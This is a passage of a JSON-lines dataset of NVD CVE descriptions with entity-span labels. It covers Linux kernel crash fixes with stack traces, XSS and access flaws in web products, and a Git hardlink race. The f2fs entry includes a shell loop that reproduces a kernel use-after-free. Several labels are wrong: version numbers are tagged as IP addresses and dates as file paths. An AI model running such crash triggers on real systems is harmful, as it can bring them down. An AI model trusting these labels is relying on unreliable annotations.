mitigate the ability for payloads to be delivered via external service APIs.", "spans": {"VULNERABILITY: XML External Entity": [[120, 139]], "VULNERABILITY: XXE": [[141, 144], [682, 685]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-53621"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid potential deadlock\n\nAs Jiaming Zhang and syzbot reported, there is potential deadlock in\nf2fs as below:\n\nChain exists of:\n  &sbi->cp_rwsem --> fs_reclaim --> sb_internal#2\n\n Possible unsafe locking scenario:\n\n       CPU0                    CPU1\n       ----                    ----\n  rlock(sb_internal#2);\n                               lock(fs_reclaim);\n                               lock(sb_internal#2);\n  rlock(&sbi->cp_rwsem);\n\n *** DEADLOCK ***\n\n3 locks held by kswapd0/73:\n #0: ffffffff8e247a40 (fs_reclaim){+.+.}-{0:0}, at: balance_pgdat mm/vmscan.c:7015 [inline]\n #0: ffffffff8e247a40 (fs_reclaim){+.+.}-{0:0}, at: kswapd+0x951/0x2800 mm/vmscan.c:7389\n #1: ffff8880118400e0 (&type->s_umount_key#50){.+.+}-{4:4}, at: super_trylock_shared fs/super.c:562 [inline]\n #1: ffff8880118400e0 (&type->s_umount_key#50){.+.+}-{4:4}, at: super_cache_scan+0x91/0x4b0 fs/super.c:197\n #2: ffff888011840610 (sb_internal#2){.+.+}-{0:0}, at: f2fs_evict_inode+0x8d9/0x1b60 fs/f2fs/inode.c:890\n\nstack backtrace:\nCPU: 0 UID: 0 PID: 73 Comm: kswapd0 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120\n print_circular_bug+0x2ee/0x310 kernel/locking/lockdep.c:2043\n check_noncircular+0x134/0x160 kernel/locking/lockdep.c:2175\n check_prev_add kernel/locking/lockdep.c:3165 [inline]\n check_prevs_add kernel/locking/lockdep.c:3284 [inline]\n validate_chain+0xb9b/0x2140 kernel/locking/lockdep.c:3908\n __lock_acquire+0xab9/0xd20 kernel/locking/lockdep.c:5237\n lock_acquire+0x120/0x360 kernel/locking/lockdep.c:5868\n down_read+0x46/0x2e0 kernel/locking/rwsem.c:1537\n f2fs_down_read fs/f2fs/f2fs.h:2278 [inline]\n f2fs_lock_op fs/f2fs/f2fs.h:2357 [inline]\n f2fs_do_truncate_blocks+0x21c/0x10c0 fs/f2fs/file.c:791\n f2fs_truncate_blocks+0x10a/0x300 fs/f2fs/file.c:867\n f2fs_truncate+0x489/0x7c0 fs/f2fs/file.c:925\n f2fs_evict_inode+0x9f2/0x1b60 fs/f2fs/inode.c:897\n evict+0x504/0x9c0 fs/inode.c:810\n f2fs_evict_inode+0x1dc/0x1b60 fs/f2fs/inode.c:853\n evict+0x504/0x9c0 fs/inode.c:810\n dispose_list fs/inode.c:852 [inline]\n prune_icache_sb+0x21b/0x2c0 fs/inode.c:1000\n super_cache_scan+0x39b/0x4b0 fs/super.c:224\n do_shrink_slab+0x6ef/0x1110 mm/shrinker.c:437\n shrink_slab_memcg mm/shrinker.c:550 [inline]\n shrink_slab+0x7ef/0x10d0 mm/shrinker.c:628\n shrink_one+0x28a/0x7c0 mm/vmscan.c:4955\n shrink_many mm/vmscan.c:5016 [inline]\n lru_gen_shrink_node mm/vmscan.c:5094 [inline]\n shrink_node+0x315d/0x3780 mm/vmscan.c:6081\n kswapd_shrink_node mm/vmscan.c:6941 [inline]\n balance_pgdat mm/vmscan.c:7124 [inline]\n kswapd+0x147c/0x2800 mm/vmscan.c:7389\n kthread+0x70e/0x8a0 kernel/kthread.c:463\n ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n </TASK>\n\nThe root cause is deadlock among four locks as below:\n\nkswapd\n- fs_reclaim\t\t\t\t--- Lock A\n - shrink_one\n  - evict\n   - f2fs_evict_inode\n    - sb_start_intwrite\t\t\t--- Lock B\n\n- iput\n - evict\n  - f2fs_evict_inode\n   - sb_start_intwrite\t\t\t--- Lock B\n   - f2fs_truncate\n    - f2fs_truncate_blocks\n     - f2fs_do_truncate_blocks\n      - f2fs_lock_op\t\t\t--- Lock C\n\nioctl\n- f2fs_ioc_commit_atomic_write\n - f2fs_lock_op\t\t\t\t--- Lock C\n  - __f2fs_commit_atomic_write\n   - __replace_atomic_write_block\n    - f2fs_get_dnode_of_data\n     - __get_node_folio\n      - f2fs_check_nid_range\n       - f2fs_handle_error\n        - f2fs_record_errors\n         - f2fs_down_write\t\t--- Lock D\n\nopen\n- do_open\n - do_truncate\n  - security_inode_need_killpriv\n   - f2fs_getxattr\n    - lookup_all_xattrs\n     - f2fs_handle_error\n      - f2fs_record_errors\n       - f2fs_down_write\t\t--- Lock D\n        - f2fs_commit_super\n         - read_mapping_folio\n          - filemap_alloc_folio_noprof\n           - prepare_alloc_pages\n            - fs_reclaim_acquire\t--- Lock A\n\nIn order to a\n---truncated---", "spans": {"FILEPATH: /f2fs/inode.c": [[1051, 1064], [2064, 2077], [2149, 2162]], "FILEPATH: /01/2014": [[1252, 1260]], "FILEPATH: /locking/lockdep.c": [[1368, 1386], [1429, 1447], [1475, 1493], [1531, 1549], [1599, 1617], [1657, 1675], [1713, 1731]], "FILEPATH: /locking/rwsem.c": [[1765, 1781]], "FILEPATH: /f2fs/f2fs.h": [[1805, 1817], [1848, 1860]], "FILEPATH: /f2fs/file.c": [[1915, 1927], [1968, 1980], [2014, 2026]], "FILEPATH: /x86/kernel/process.c": [[2836, 2857]], "FILEPATH: /x86/entry/entry_64.S": [[2895, 2916]], "FILEPATH: vmscan.c": [[636, 644], [734, 742], [2493, 2501], [2523, 2531], [2570, 2578], [2623, 2631], [2660, 2668], [2701, 2709], [2749, 2757]], "FILEPATH: super.c": [[836, 843], [952, 959], [2317, 2324]], "FILEPATH: dump_stack.c": [[1313, 1325]], "FILEPATH: inode.c": [[2104, 2111], [2189, 2196], [2218, 2225], [2271, 2278]], "FILEPATH: shrinker.c": [[2361, 2371], [2398, 2408], [2451, 2461]], "FILEPATH: kthread.c": [[2791, 2800]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1177, 1181]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71065"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix UAF issue in f2fs_merge_page_bio()\n\nAs JY reported in bugzilla [1],\n\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000000\npc : [0xffffffe51d249484] f2fs_is_cp_guaranteed+0x70/0x98\nlr : [0xffffffe51d24adbc] f2fs_merge_page_bio+0x520/0x6d4\nCPU: 3 UID: 0 PID: 6790 Comm: kworker/u16:3 Tainted: P    B   W  OE      6.12.30-android16-5-maybe-dirty-4k #1 5f7701c9cbf727d1eebe77c89bbbeb3371e895e5\nTainted: [P]=PROPRIETARY_MODULE, [B]=BAD_PAGE, [W]=WARN, [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\nWorkqueue: writeback wb_workfn (flush-254:49)\nCall trace:\n f2fs_is_cp_guaranteed+0x70/0x98\n f2fs_inplace_write_data+0x174/0x2f4\n f2fs_do_write_data_page+0x214/0x81c\n f2fs_write_single_data_page+0x28c/0x764\n f2fs_write_data_pages+0x78c/0xce4\n do_writepages+0xe8/0x2fc\n __writeback_single_inode+0x4c/0x4b4\n writeback_sb_inodes+0x314/0x540\n __writeback_inodes_wb+0xa4/0xf4\n wb_writeback+0x160/0x448\n wb_workfn+0x2f0/0x5dc\n process_scheduled_works+0x1c8/0x458\n worker_thread+0x334/0x3f0\n kthread+0x118/0x1ac\n ret_from_fork+0x10/0x20\n\n[1] https://bugzilla.kernel.org/show_bug.cgi?id=220575\n\nThe panic was caused by UAF issue w/ below race condition:\n\nkworker\n- writepages\n - f2fs_write_cache_pages\n  - f2fs_write_single_data_page\n   - f2fs_do_write_data_page\n    - f2fs_inplace_write_data\n     - f2fs_merge_page_bio\n      - add_inu_page\n      : cache page #1 into bio & cache bio in\n        io->bio_list\n  - f2fs_write_single_data_page\n   - f2fs_do_write_data_page\n    - f2fs_inplace_write_data\n     - f2fs_merge_page_bio\n      - add_inu_page\n      : cache page #2 into bio which is linked\n        in io->bio_list\n\t\t\t\t\t\twrite\n\t\t\t\t\t\t- f2fs_write_begin\n\t\t\t\t\t\t: write page #1\n\t\t\t\t\t\t - f2fs_folio_wait_writeback\n\t\t\t\t\t\t  - f2fs_submit_merged_ipu_write\n\t\t\t\t\t\t   - f2fs_submit_write_bio\n\t\t\t\t\t\t   : submit bio which inclues page #1 and #2\n\n\t\t\t\t\t\tsoftware IRQ\n\t\t\t\t\t\t- f2fs_write_end_io\n\t\t\t\t\t\t - fscrypt_free_bounce_page\n\t\t\t\t\t\t : freed bounced page which belongs to page #2\n      - inc_page_count( , WB_DATA_TYPE(data_folio), false)\n      : data_folio points to fio->encrypted_page\n        the bounced page can be freed before\n        accessing it in f2fs_is_cp_guarantee()\n\nIt can reproduce w/ below testcase:\nRun below script in shell #1:\nfor ((i=1;i>0;i++)) do xfs_io -f /mnt/f2fs/enc/file \\\n-c \"pwrite 0 32k\" -c \"fdatasync\"\n\nRun below script in shell #2:\nfor ((i=1;i>0;i++)) do xfs_io -f /mnt/f2fs/enc/file \\\n-c \"pwrite 0 32k\" -c \"fdatasync\"\n\nSo, in f2fs_merge_page_bio(), let's avoid using fio->encrypted_page after\ncommit page into internal ipu cache.", "spans": {"URL: https://bugzilla.kernel.org/show_bug.cgi?id=220575": [[1128, 1178]], "HASH: 5f7701c9cbf727d1eebe77c89bbbeb3371e895e5": [[460, 500]], "FILEPATH: /mnt/f2fs/enc/file": [[2353, 2371], [2471, 2489]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[172, 196]], "VULNERABILITY: race condition": [[1223, 1237]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40054"}}
{"text": "The PixelYourSite – Your smart PIXEL (TAG) & API Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pysTrafficSource' parameter and the 'pys_landing_page' parameter in all versions up to, and including, 11.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. CVE-2026-27072 is likely a duplicate of this issue.", "spans": {"CVE_ID: CVE-2026-27072": [[457, 471]], "SYSTEM: WordPress": [[68, 77]], "VULNERABILITY: Cross-Site Scripting": [[102, 122]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-1841"}}
{"text": "Cross-site scripting vulnerability in Movable Type series (Movable Type 7 r.4606 (7.2.1) and earlier (Movable Type 7), Movable Type Advanced 7 r.4606 (7.2.1) and earlier (Movable Type Advanced 7), Movable Type for AWS 7 r.4606 (7.2.1) and earlier (Movable Type for AWS 7), Movable Type 6.5.3 and earlier (Movable Type 6.5), Movable Type Advanced 6.5.3 and earlier (Movable Type Advanced 6.5), Movable Type 6.3.11 and earlier (Movable Type 6.3), Movable Type Advanced 6.3.11 and earlier (Movable Type 6.3), Movable Type Premium 1.29 and earlier, and Movable Type Premium Advanced 1.29 and earlier) allows remote attackers to inject arbitrary script or HTML via unspecified vectors.", "spans": {"ORGANIZATION: AWS": [[214, 217], [265, 268]], "VULNERABILITY: Cross-site scripting": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5575"}}
{"text": "Vulnerability in the Oracle Knowledge Management product of Oracle E-Business Suite (component: Setup, Admin). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Knowledge Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Knowledge Management, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Knowledge Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Knowledge Management accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [60, 66], [275, 281], [421, 427], [622, 628], [733, 739]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2841"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: zero-initialize tc skb extension on allocation\n\nFunction skb_ext_add() doesn't initialize created skb extension with any\nvalue and leaves it up to the user. However, since extension of type\nTC_SKB_EXT originally contained only single value tc_skb_ext->chain its\nusers used to just assign the chain value without setting whole extension\nmemory to zero first. This assumption changed when TC_SKB_EXT extension was\nextended with additional fields but not all users were updated to\ninitialize the new fields which leads to use of uninitialized memory\nafterwards. UBSAN log:\n\n[  778.299821] UBSAN: invalid-load in net/openvswitch/flow.c:899:28\n[  778.301495] load of value 107 is not a valid value for type '_Bool'\n[  778.303215] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 5.12.0-rc7+ #2\n[  778.304933] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[  778.307901] Call Trace:\n[  778.308680]  <IRQ>\n[  778.309358]  dump_stack+0xbb/0x107\n[  778.310307]  ubsan_epilogue+0x5/0x40\n[  778.311167]  __ubsan_handle_load_invalid_value.cold+0x43/0x48\n[  778.312454]  ? memset+0x20/0x40\n[  778.313230]  ovs_flow_key_extract.cold+0xf/0x14 [openvswitch]\n[  778.314532]  ovs_vport_receive+0x19e/0x2e0 [openvswitch]\n[  778.315749]  ? ovs_vport_find_upcall_portid+0x330/0x330 [openvswitch]\n[  778.317188]  ? create_prof_cpu_mask+0x20/0x20\n[  778.318220]  ? arch_stack_walk+0x82/0xf0\n[  778.319153]  ? secondary_startup_64_no_verify+0xb0/0xbb\n[  778.320399]  ? stack_trace_save+0x91/0xc0\n[  778.321362]  ? stack_trace_consume_entry+0x160/0x160\n[  778.322517]  ? lock_release+0x52e/0x760\n[  778.323444]  netdev_frame_hook+0x323/0x610 [openvswitch]\n[  778.324668]  ? ovs_netdev_get_vport+0xe0/0xe0 [openvswitch]\n[  778.325950]  __netif_receive_skb_core+0x771/0x2db0\n[  778.327067]  ? lock_downgrade+0x6e0/0x6f0\n[  778.328021]  ? lock_acquire+0x565/0x720\n[  778.328940]  ? generic_xdp_tx+0x4f0/0x4f0\n[  778.329902]  ? inet_gro_receive+0x2a7/0x10a0\n[  778.330914]  ? lock_downgrade+0x6f0/0x6f0\n[  778.331867]  ? udp4_gro_receive+0x4c4/0x13e0\n[  778.332876]  ? lock_release+0x52e/0x760\n[  778.333808]  ? dev_gro_receive+0xcc8/0x2380\n[  778.334810]  ? lock_downgrade+0x6f0/0x6f0\n[  778.335769]  __netif_receive_skb_list_core+0x295/0x820\n[  778.336955]  ? process_backlog+0x780/0x780\n[  778.337941]  ? mlx5e_rep_tc_netdevice_event_unregister+0x20/0x20 [mlx5_core]\n[  778.339613]  ? seqcount_lockdep_reader_access.constprop.0+0xa7/0xc0\n[  778.341033]  ? kvm_clock_get_cycles+0x14/0x20\n[  778.342072]  netif_receive_skb_list_internal+0x5f5/0xcb0\n[  778.343288]  ? __kasan_kmalloc+0x7a/0x90\n[  778.344234]  ? mlx5e_handle_rx_cqe_mpwrq+0x9e0/0x9e0 [mlx5_core]\n[  778.345676]  ? mlx5e_xmit_xdp_frame_mpwqe+0x14d0/0x14d0 [mlx5_core]\n[  778.347140]  ? __netif_receive_skb_list_core+0x820/0x820\n[  778.348351]  ? mlx5e_post_rx_mpwqes+0xa6/0x25d0 [mlx5_core]\n[  778.349688]  ? napi_gro_flush+0x26c/0x3c0\n[  778.350641]  napi_complete_done+0x188/0x6b0\n[  778.351627]  mlx5e_napi_poll+0x373/0x1b80 [mlx5_core]\n[  778.352853]  __napi_poll+0x9f/0x510\n[  778.353704]  ? mlx5_flow_namespace_set_mode+0x260/0x260 [mlx5_core]\n[  778.355158]  net_rx_action+0x34c/0xa40\n[  778.356060]  ? napi_threaded_poll+0x3d0/0x3d0\n[  778.357083]  ? sched_clock_cpu+0x18/0x190\n[  778.358041]  ? __common_interrupt+0x8e/0x1a0\n[  778.359045]  __do_softirq+0x1ce/0x984\n[  778.359938]  __irq_exit_rcu+0x137/0x1d0\n[  778.360865]  irq_exit_rcu+0xa/0x20\n[  778.361708]  common_interrupt+0x80/0xa0\n[  778.362640]  </IRQ>\n[  778.363212]  asm_common_interrupt+0x1e/0x40\n[  778.364204] RIP: 0010:native_safe_halt+0xe/0x10\n[  778.365273] Code: 4f ff ff ff 4c 89 e7 e8 50 3f 40 fe e9 dc fe ff ff 48 89 df e8 43 3f 40 fe eb 90 cc e9 07 00 00 00 0f 00 2d 74 05 62 00 fb f4 <c3> 90 e9 07 00 00 00 0f 00 2d 64 05 62 00 f4 c3 cc cc 0f 1f 44 00\n[  778.369355] RSP: 0018:ffffffff84407e48 EFLAGS: 00000246\n[  778.370570] RAX\n---truncated---", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[928, 972]], "FILEPATH: /openvswitch/flow.c": [[686, 705]], "FILEPATH: /01/2014": [[975, 983]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[886, 890]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47136"}}
{"text": "Certain NETGEAR devices are affected by incorrect configuration of security settings. This affects D3600 before 1.0.0.72, D6000 before 1.0.0.72, D6200 before 1.1.00.34, D6220 before 1.0.0.52, D6400 before 1.0.0.86, D7000 before 1.0.1.74, D7000v2 before 1.0.0.53, D7800 before 1.0.1.56, D8500 before 1.0.3.44, DC112A before 1.0.0.42, DGN2200v4 before 1.0.0.110, DGND2200Bv4 before 1.0.0.109, DM200 before 1.0.0.61, EX3700 before 1.0.0.76, EX3800 before 1.0.0.76, EX6120 before 1.0.0.46, EX6130 before 1.0.0.28, EX7000 before 1.0.1.78, PR2000 before 1.0.0.28, R6220 before 1.1.0.100, R6230 before 1.1.0.100, R6250 before 1.0.4.34, R6300v2 before 1.0.4.34, R6400 before 1.0.1.46, R6400v2 before 1.0.2.66, R6700 before 1.0.2.6, R6700v3 before 1.0.2.66, R6900 before 1.0.2.6, R7000 before 1.0.9.34, R7100LG before 1.0.0.50, R7500v2 before 1.0.3.40, R7900P before 1.4.1.50, R8000P before 1.4.1.50, R8900 before 1.0.4.12, R9000 before 1.0.4.12, RBK20 before 2.3.0.28, RBK40 before 2.3.0.28, RBK50 before 2.3.0.32, RBR20 before 2.3.0.28, RBR40 before 2.3.0.28, RBR50 before 2.3.0.32, RBS20 before 2.3.0.28, RBS40 before 2.3.0.28, RBS50 before 2.3.0.32, WN3000RPv2 before 1.0.0.78, WNDR3400v3 before 1.0.1.24, WNR2000v5 before 1.0.0.70, WNR2020 before 1.1.0.62, WNR3500Lv2 before 1.2.0.62, XR450 before 2.3.2.56, and XR500 before 2.3.2.56.", "spans": {"IP_ADDRESS: 1.0.0.72": [[112, 120], [135, 143]], "IP_ADDRESS: 1.1.00.34": [[158, 167]], "IP_ADDRESS: 1.0.0.52": [[182, 190]], "IP_ADDRESS: 1.0.0.86": [[205, 213]], "IP_ADDRESS: 1.0.1.74": [[228, 236]], "IP_ADDRESS: 1.0.0.53": [[253, 261]], "IP_ADDRESS: 1.0.1.56": [[276, 284]], "IP_ADDRESS: 1.0.3.44": [[299, 307]], "IP_ADDRESS: 1.0.0.42": [[323, 331]], "IP_ADDRESS: 1.0.0.110": [[350, 359]], "IP_ADDRESS: 1.0.0.109": [[380, 389]], "IP_ADDRESS: 1.0.0.61": [[404, 412]], "IP_ADDRESS: 1.0.0.76": [[428, 436], [452, 460]], "IP_ADDRESS: 1.0.0.46": [[476, 484]], "IP_ADDRESS: 1.0.0.28": [[500, 508], [548, 556]], "IP_ADDRESS: 1.0.1.78": [[524, 532]], "IP_ADDRESS: 1.1.0.100": [[571, 580], [595, 604]], "IP_ADDRESS: 1.0.4.34": [[619, 627], [644, 652]], "IP_ADDRESS: 1.0.1.46": [[667, 675]], "IP_ADDRESS: 1.0.2.66": [[692, 700], [739, 747]], "IP_ADDRESS: 1.0.2.6": [[715, 722], [762, 769]], "IP_ADDRESS: 1.0.9.34": [[784, 792]], "IP_ADDRESS: 1.0.0.50": [[809, 817]], "IP_ADDRESS: 1.0.3.40": [[834, 842]], "IP_ADDRESS: 1.4.1.50": [[858, 866], [882, 890]], "IP_ADDRESS: 1.0.4.12": [[905, 913], [928, 936]], "IP_ADDRESS: 2.3.0.28": [[951, 959], [974, 982], [1020, 1028], [1043, 1051], [1089, 1097], [1112, 1120]], "IP_ADDRESS: 2.3.0.32": [[997, 1005], [1066, 1074], [1135, 1143]], "IP_ADDRESS: 1.0.0.78": [[1163, 1171]], "IP_ADDRESS: 1.0.1.24": [[1191, 1199]], "IP_ADDRESS: 1.0.0.70": [[1218, 1226]], "IP_ADDRESS: 1.1.0.62": [[1243, 1251]], "IP_ADDRESS: 1.2.0.62": [[1271, 1279]], "IP_ADDRESS: 2.3.2.56": [[1294, 1302], [1321, 1329]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45640"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/pagewalk: fix race between concurrent split and refault\n\nThe splitting of a PUD entry in walk_pud_range() can race with a\nconcurrent thread refaulting the PUD leaf entry causing it to try walking\na PMD range that has disappeared.\n\nAn example and reproduction of this is to try reading numa_maps of a\nprocess while VFIO-PCI is setting up DMA (specifically the\nvfio_pin_pages_remote call) on a large BAR for that process.\n\nThis will trigger a kernel BUG:\nvfio-pci 0000:03:00.0: enabling device (0000 -> 0002)\nBUG: unable to handle page fault for address: ffffa23980000000\nPGD 0 P4D 0\nOops: Oops: 0000 [#1] SMP NOPTI\n...\nRIP: 0010:walk_pgd_range+0x3b5/0x7a0\nCode: 8d 43 ff 48 89 44 24 28 4d 89 ce 4d 8d a7 00 00 20 00 48 8b 4c 24\n28 49 81 e4 00 00 e0 ff 49 8d 44 24 ff 48 39 c8 4c 0f 43 e3 <49> f7 06\n   9f ff ff ff 75 3b 48 8b 44 24 20 48 8b 40 28 48 85 c0 74\nRSP: 0018:ffffac23e1ecf808 EFLAGS: 00010287\nRAX: 00007f44c01fffff RBX: 00007f4500000000 RCX: 00007f44ffffffff\nRDX: 0000000000000000 RSI: 000ffffffffff000 RDI: ffffffff93378fe0\nRBP: ffffac23e1ecf918 R08: 0000000000000004 R09: ffffa23980000000\nR10: 0000000000000020 R11: 0000000000000004 R12: 00007f44c0200000\nR13: 00007f44c0000000 R14: ffffa23980000000 R15: 00007f44c0000000\nFS:  00007fe884739580(0000) GS:ffff9b7d7a9c0000(0000)\nknlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffa23980000000 CR3: 000000c0650e2005 CR4: 0000000000770ef0\nPKRU: 55555554\nCall Trace:\n <TASK>\n __walk_page_range+0x195/0x1b0\n walk_page_vma+0x62/0xc0\n show_numa_map+0x12b/0x3b0\n seq_read_iter+0x297/0x440\n seq_read+0x11d/0x140\n vfs_read+0xc2/0x340\n ksys_read+0x5f/0xe0\n do_syscall_64+0x68/0x130\n ? get_page_from_freelist+0x5c2/0x17e0\n ? mas_store_prealloc+0x17e/0x360\n ? vma_set_page_prot+0x4c/0xa0\n ? __alloc_pages_noprof+0x14e/0x2d0\n ? __mod_memcg_lruvec_state+0x8d/0x140\n ? __lruvec_stat_mod_folio+0x76/0xb0\n ? __folio_mod_stat+0x26/0x80\n ? do_anonymous_page+0x705/0x900\n ? __handle_mm_fault+0xa8d/0x1000\n ? __count_memcg_events+0x53/0xf0\n ? handle_mm_fault+0xa5/0x360\n ? do_user_addr_fault+0x342/0x640\n ? arch_exit_to_user_mode_prepare.constprop.0+0x16/0xa0\n ? irqentry_exit_to_user_mode+0x24/0x100\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7fe88464f47e\nCode: c0 e9 b6 fe ff ff 50 48 8d 3d be 07 0b 00 e8 69 01 02 00 66 0f 1f\n84 00 00 00 00 00 64 8b 04 25 18 00 00 00 85 c0 75 14 0f 05 <48> 3d 00\n   f0 ff ff 77 5a c3 66 0f 1f 84 00 00 00 00 00 48 83 ec 28\nRSP: 002b:00007ffe6cd9a9b8 EFLAGS: 00000246 ORIG_RAX: 0000000000000000\nRAX: ffffffffffffffda RBX: 0000000000020000 RCX: 00007fe88464f47e\nRDX: 0000000000020000 RSI: 00007fe884543000 RDI: 0000000000000003\nRBP: 00007fe884543000 R08: 00007fe884542010 R09: 0000000000000000\nR10: fffffffffffffbc5 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000003 R14: 0000000000020000 R15: 0000000000020000\n </TASK>\n\nFix this by validating the PUD entry in walk_pmd_range() using a stable\nsnapshot (pudp_get()).  If the PUD is not present or is a leaf, retry the\nwalk via ACTION_AGAIN instead of descending further.  This mirrors the\nretry logic in walk_pte_range(), which lets walk_pmd_range() retry if the\nPTE is not being got by pte_offset_map_lock().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31456"}}
{"text": "Concrete CMS version 9 below 9.4.0RC2 and versions below 8.5.20 are vulnerable to CSRF and XSS in the Concrete CMS Address attribute because addresses are not properly sanitized in the output when a country is not specified.  Attackers are limited to individuals whom a site administrator has granted the ability to fill in an address attribute. It is possible for the attacker to glean limited information from the site but amount and type is restricted by mitigating controls and the level of access of the attacker. Limited data modification is possible. The dashboard page itself could be rendered unavailable. \nThe fix only sanitizes new data uploaded post update to Concrete CMS 9.4.0RC2. Existing database entries added before the update will still be “live” if there were successful exploits added under previous versions; a database search is recommended. The Concrete CMS security team gave this vulnerability CVSS v.4.0 score of 5.1  with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L Thanks Myq Larson for reporting.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-3153"}}
{"text": "Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, when cloning a local source repository that contains symlinks via the filesystem, Git may create hardlinks to arbitrary user-readable files on the same filesystem as the target repository in the `objects/` directory. Cloning a local repository over the filesystem may creating hardlinks to arbitrary user-owned files on the same filesystem in the target Git repository's `objects/` directory. When cloning a repository over the filesystem (without explicitly specifying the `file://` protocol or `--no-local`), the optimizations for local cloning\nwill be used, which include attempting to hard link the object files instead of copying them. While the code includes checks against symbolic links in the source repository, which were added during the fix for CVE-2022-39253, these checks can still be raced because the hard link operation ultimately follows symlinks. If the object on the filesystem appears as a file during the check, and then a symlink during the operation, this will allow the adversary to bypass the check and create hardlinks in the destination objects directory to arbitrary, user-readable files. The problem has been patched in versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4.", "spans": {"CVE_ID: CVE-2022-39253": [[869, 883]], "VULNERABILITY: symlink": [[1057, 1064]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-32021"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: core: fix possible resource leak in init_mtd()\n\nI got the error report while inject fault in init_mtd():\n\nsysfs: cannot create duplicate filename '/devices/virtual/bdi/mtd-0'\nCall Trace:\n <TASK>\n dump_stack_lvl+0x67/0x83\n sysfs_warn_dup+0x60/0x70\n sysfs_create_dir_ns+0x109/0x120\n kobject_add_internal+0xce/0x2f0\n kobject_add+0x98/0x110\n device_add+0x179/0xc00\n device_create_groups_vargs+0xf4/0x100\n device_create+0x7b/0xb0\n bdi_register_va.part.13+0x58/0x2d0\n bdi_register+0x9b/0xb0\n init_mtd+0x62/0x171 [mtd]\n do_one_initcall+0x6c/0x3c0\n do_init_module+0x58/0x222\n load_module+0x268e/0x27d0\n __do_sys_finit_module+0xd5/0x140\n do_syscall_64+0x37/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n </TASK>\nkobject_add_internal failed for mtd-0 with -EEXIST, don't try to register\n\tthings with the same name in the same directory.\nError registering mtd class or bdi: -17\n\nIf init_mtdchar() fails in init_mtd(), mtd_bdi will not be unregistered,\nas a result, we can't load the mtd module again, to fix this by calling\nbdi_unregister(mtd_bdi) after out_procfs label.", "spans": {"FILEPATH: /devices/virtual/bdi/mtd-0": [[221, 247]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50304"}}
{"text": "Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Rules Framework). Supported versions that are affected are 8.0.6-8.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [97, 103], [328, 334], [511, 517], [742, 748], [874, 880]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2140"}}
